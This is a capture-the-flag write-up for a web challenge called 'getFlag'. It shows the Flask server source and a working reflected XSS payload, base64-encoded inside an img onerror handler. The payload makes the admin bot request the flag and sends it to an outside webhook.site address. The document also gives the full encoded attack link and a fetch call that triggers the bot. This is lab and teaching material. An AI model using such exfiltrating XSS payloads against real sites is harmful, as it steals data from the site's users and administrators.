getFlag
This challenge was available at http://6b.vc:9003. Its source was available: getFlag.tar.gz
It is very similar to babyXSS. The XSS vulnerability is the same, but:
@app.route('/')
def index():
return render_template('index.html')
@app.route('/getFlag', methods=['GET', 'POST'])
def getFlag():
if request.remote_addr != '127.0.0.1':
return 'Error: Access Denied!'
if request.method != 'POST':
return 'Error: Invalid Method!'
if request.json.get('giveMe') != 'theFlag':
return 'Error: Invalid Request!'
return FLAG
@app.route('/report')
def report_url():
url = request.args.get('url')
if url:
result = visit_url_with_bot(url)
return result
else:
return 'Error: No URL provided!'
We learn that the flag is not stored in localStorage, but rather accessible through an API. We need to make the admin bot make a request to /getFlag, with the correct params to get the flag.
I will just modify the payload from the previous challenge.
const code = `fetch("/getFlag", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({giveMe: "theFlag"})
}).then(res => res.text())
.then(flag => {
location.href = "https://webhook.site/40a6771d-b79d-4ea5-bbb3-df68cdcf56b7?"+encodeURI(btoa(flag))
})`
const payload = `<img src=x onerror="eval(atob('${btoa(code)}'))">`
console.log(`http://6b.vc:9003/?search=${encodeURIComponent(payload)}`)
Solution
The following link will make the bot send us the flag.
http://localhost:9003/?search=%3Cimg%20src%3Dx%20onerror%3D%22eval(atob('ZmV0Y2goIi9nZXRGbGFnIiwgewogICAgbWV0aG9kOiAiUE9TVCIsCiAgICBoZWFkZXJzOiB7CiAgICAgICAgIkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi9qc29uIgogICAgfSwKICAgIGJvZHk6IEpTT04uc3RyaW5naWZ5KHtnaXZlTWU6ICJ0aGVGbGFnIn0pCn0pLnRoZW4ocmVzID0%2BIHJlcy50ZXh0KCkpCi50aGVuKGZsYWcgPT4gewogICAgbG9jYXRpb24uaHJlZiA9ICJodHRwczovL3dlYmhvb2suc2l0ZS80MGE2NzcxZC1iNzlkLTRlYTUtYmJiMy1kZjY4Y2RjZjU2Yjc%2FIitlbmNvZGVVUkkoYnRvYShmbGFnKSkKfSk%3D'))%22%3E
We can trigger the /report endpoint by either using curl or by using the following javascript code in the browser’s console.
fetch("/report?url="+encodeURIComponent("http://localhost:9003/?search=%3Cimg%20src%3Dx%20onerror%3D%22eval(atob('ZmV0Y2goIi9nZXRGbGFnIiwgewogICAgbWV0aG9kOiAiUE9TVCIsCiAgICBoZWFkZXJzOiB7CiAgICAgICAgIkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi9qc29uIgogICAgfSwKICAgIGJvZHk6IEpTT04uc3RyaW5naWZ5KHtnaXZlTWU6ICJ0aGVGbGFnIn0pCn0pLnRoZW4ocmVzID0%2BIHJlcy50ZXh0KCkpCi50aGVuKGZsYWcgPT4gewogICAgbG9jYXRpb24uaHJlZiA9ICJodHRwczovL3dlYmhvb2suc2l0ZS80MGE2NzcxZC1iNzlkLTRlYTUtYmJiMy1kZjY4Y2RjZjU2Yjc%2FIitlbmNvZGVVUkkoYnRvYShmbGFnKSkKfSk%3D'))%22%3E"))
We receive the flag on the webhook:
flag{Here I1 gave you The Flag!}